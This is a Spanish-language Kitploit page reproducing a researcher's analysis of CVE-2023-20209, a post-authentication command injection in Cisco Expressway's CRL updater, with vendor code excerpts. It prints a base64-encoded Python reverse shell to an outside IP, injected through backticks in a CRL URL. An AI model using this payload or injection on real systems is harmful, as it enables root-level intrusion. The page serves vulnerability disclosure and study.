Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-20209 — Análisis técnico detallado y exploit de prueba de concepto para CVE-2023-20209, una vulnerabilidad de ejecución remota de código posterior a la autenticación en Cisco Expressway, con recorrido paso a paso del flujo de código y notas de explotación. | Kitploit
Herramientas/GitHubGitHub/peter5he1by/cve-2023-20209
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlRed Teaming
GitHubpeter5he1by/cve-2023-20209

CVE-2023-20209

Análisis técnico detallado y exploit de prueba de concepto para CVE-2023-20209, una vulnerabilidad de ejecución remota de código posterior a la autenticación en Cisco Expressway, con recorrido paso a paso del flujo de código y notas de explotación.

Ver Repositorio
41hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Empecé a investigar Cisco Expressway después de notar bastantes instancias en internet durante ejercicios de Red Team, pero nunca tuve tiempo durante el trabajo para explorar el producto más a fondo.

Al principio buscaba un bypass de autenticación para encadenarlo hacia un RCE, pero se me acabó el tiempo y me conformé con un RCE post-autenticación. El código PHP del front end parece prometedor para una explotación posterior.....

Estas son mis notas del descubrimiento y de la notificación al proveedor de CVE-2023-20209.

Empezando con una lista de procesos tras la explotación, podemos ver una llamada a /sbin/request-crlupdate:

root@kitploit:~
root     16449  0.0  0.0   7472  4024 ?        S    Feb18   0:00 bash /sbin/request-crlupdate
root     16451  0.0  0.1   7544  4280 ?        S    Feb18   0:00 /bin/bash /etc/init.d/crlupdater restart
root     16466  0.0  0.2  14084 11236 ?        S    Feb18   0:00 python -c exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))

Si observamos el contenido de /sbin/request-crlupdate:

root@kitploit:~
#! /bin/env bash

#
# This script is responsible to updating the CRL automatic updater process
#   when configuration is changed
#

# =============================================================================

# Needs to be kept in sync with PHP and updater script
readonly STARTFILE="/tmp/request/update_crl_config"
readonly LOCK_FILE="/tmp/crlupdater_running"

# =============================================================================

# Source for helper functions
readonly FUNCTIONS="/etc/functions"
[[ -f ${FUNCTIONS} ]] && . ${FUNCTIONS}

# =============================================================================

if [[ -f ${STARTFILE} ]]; then
    # Remove the flag file
    rm -f ${STARTFILE}

    if [[ -f ${LOCK_FILE} ]]; then
        do_log "Event=\"Updating CRL data\" Detail=\"CRL update already in progress. Scheduling another update\""
        touch ${STARTFILE}

        # To avoid the possibility of tight loop situation until the lock file is removed,
        #   let's sleep for a few seconds
        sleep 30
    else
        # Kick the CRL automatic update daemon
        /etc/init.d/crlupdater restart
    fi
fi

# =============================================================================

Podemos ver que está llamando al daemon de actualización automática de CRL, aunque esto no explica cómo llegamos hasta ahí. Intenté recorrer el flujo del código a continuación.

Empezando con el código PHP del front end web, en /share/web/public/crpupdater.php, hay una comprobación de validación para asegurarse de que comience con http o https:

root@kitploit:~
$crl_distribution_points_root_new = new SimpleXMLElement("<root/>");
                foreach ( $url_list as $line )
                {
                    if ( strlen( $line ) > 0 )
                    {
                        if ( preg_match( '/^(http|https):\/\/.+/i', $line ) > 0 )
                        {
                            // Ensure no spaces in the URI
                            $line = str_replace( " ", "%20", $line );

                            $crl_distribution_points_root_new->record[ $idx++ ]->distribution_point = $line;

                            $distribution_point_count++;
                        }
                        else
                        {
                            $unsupported_distribution_point_seen = true;
                        }
                    }
                }

Esto luego se pasa a lo que creo que es el framework de Python detrás del servicio web; todo el Python está en pyc, así que pierdo algunas partes del flujo aquí, pero lo siguiente da una pista.

Parece que el Python provoca una llamada a /sbin/request-crlupdate

/share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyc

root@kitploit:~
        Class to manage requestd with regards CRL updates
    c         C   s    t  j j j j j |  | ƒ d  S(   N(   RO   RV   RW   RX   RY   R   (   R
   RL   (    (    sp   /share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyR   ?  s    c         C   s-   t  j d ƒ t j j j j j |  d ƒ d S(   s\   
            Creates the trigger file for requestd to restart the CRL update daemon

contenido de /etc/init.d/crlupdater:

root@kitploit:~
#!/bin/bash
#set -x

#
# Set up automatic CRL updates, if configured
#

readonly SERVICE="crl_updater"
readonly PID_FILE="/var/run/${SERVICE}.pid"


[[ -f /etc/functions ]] && . /etc/functions


start()
{
    # #86345
    #
    # Ensure that the policy services CRL file has the correct
    #   owner so that the web can update them
    chown _nobody:_nobody /tandberg/persistent/certs/policy-services.crl

    if upgrade_in_progress; then
        # Upgrading so let's not go any further
        echo "Upgrade in process. Not starting ${SERVICE}"
        exit 0
    fi

    if is_service_up ${SERVICE}; then
        # Service already running so let's not go any further
        echo "${SERVICE} already running. Not starting"
        exit 0
    fi

    echo "Starting ${SERVICE}"

    local readonly script="/bin/crl_updater"

    # Need to be kept in sync with PHP and script
    local readonly config_file="/tandberg/persistent/certs/crl-update.conf"

    # Ensure we have the correct directories
    local readonly certificates_base="/mnt/harddisk/certificates"
    local readonly crl_directory="${certificates_base}/crl"
    if [[ ! -d ${crl_directory} ]]; then
        mkdir -p ${crl_directory}
    fi

    if [[ -s ${config_file} ]]; then
        . "${config_file}"

        if [[ ${auto_updates} == "true" ]]; then
            # Check every 600 seconds to see if it is the configured hour
            #   and then run the script. If the script is run it will wait
            #   24 hours before running the script again
            /bin/time_kicker 600 ${update_hour} ${script} > /dev/null 2>&1 &
            echo $! > ${PID_FILE}
        else
            # We run the script anyway so that it can perform any clean-up
            #   required as a result of being disabled
            ${script} > /dev/null 2>&1 &
        fi
    fi
}

stop()
{
    if is_service_up ${SERVICE}; then
        echo "Stopping ${SERVICE}"
        kill_pid_file ${SERVICE} ${PID_FILE}

        rm -f ${PID_FILE}
    fi
}

restart()
{
    stop
    start
}

case "$1" in
    start)
        start
        ;;
    stop)
        stop
        ;;
    restart)
        restart
        ;;
    *)
        echo $"Usage: $0 {start|stop|restart}"
        exit 1
        ;;
esac

Algunas líneas importantes aquí:

root@kitploit:~
local readonly script="/bin/crl_updater"

local readonly config_file="/tandberg/persistent/certs/crl-update.conf"

Aquí está el contenido de /tandberg/persistent/certs/crl-update.conf después de la explotación:

root@kitploit:~
auto_updates=true
update_hour=11
distribution_point=http://`python${IFS}-c${IFS}"exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"`

podemos ver los datos CRL maliciosos anteriores en el archivo.

En cualquiera de los casos de la sentencia IF en /etc/init.d/crpupdater se realiza una llamada para ejecutar /bin/crl_updater.

En este punto, el código malicioso se ejecuta dentro del flujo de /bin/crl_updater:

root@kitploit:~
read_configuration()
{
    # Source the configuration file
    #   Needs to be kept in sync with PHP and init script
    local readonly config_file="/tandberg/persistent/certs/crl-update.conf"

    local readonly config_separator="="
    local readonly distribution_point_prefix="distribution_point"

    if [[ -s ${config_file} ]]; then
        . "${config_file}"

        readonly CRL_UPDATE_MODE="${auto_updates}"
        readonly CRL_DISTRIBUTION_POINTS=`cat ${config_file} | while read line; do echo ${line} | grep "${distribution_point_prefix}" | tr "${config_separator}" "\n" | grep -v "${distribution_point_prefix}" ; done`

        if [[ ${CRL_UPDATE_MODE} == "true" ]]; then
            # Ensure that we have some distribution points configured
            if [[ -z "${CRL_DISTRIBUTION_POINTS}" ]]; then
                updater_event_logger "ERROR: No CRL distribution points configured"
                alarm raise $CONFIG_ALARM
                exit_handler 1
            fi
        fi
    else
        updater_event_logger "ERROR: CRL updater failed to find configuration file or file is empty"
        alarm raise $NO_CONFIG_ALARM
        exit_handler 1
    fi
}

entonces, el archivo de configuración que contiene nuestro comando malicioso se ejecuta mediante:

root@kitploit:~
    if [[ -s ${config_file} ]]; then
        . "${config_file}"

Debido a que nuestra inyección contiene comillas invertidas, se ejecuta; he proporcionado un archivo de caso de prueba para mostrar el comportamiento:

root@kitploit:~
auto_updates=true
update_hour=11
distribution_point=http://`touch /tmp/test_file`

Ejecutando manualmente el archivo de caso de prueba de la misma manera que lo hace el script /bin/crl_updater:

root@kitploit:~
~ # ls -al /tmp/ | grep test_file
~ # . /tmp/test_exec_point 
~ # ls -al /tmp/ | grep test_file
-rw-r--r--  1 root    root         0 Feb 20 01:16 test_file

Escribí un script de exploit rápido y sucio para el PoC; puedes verlo en acción a continuación

Descargar herramienta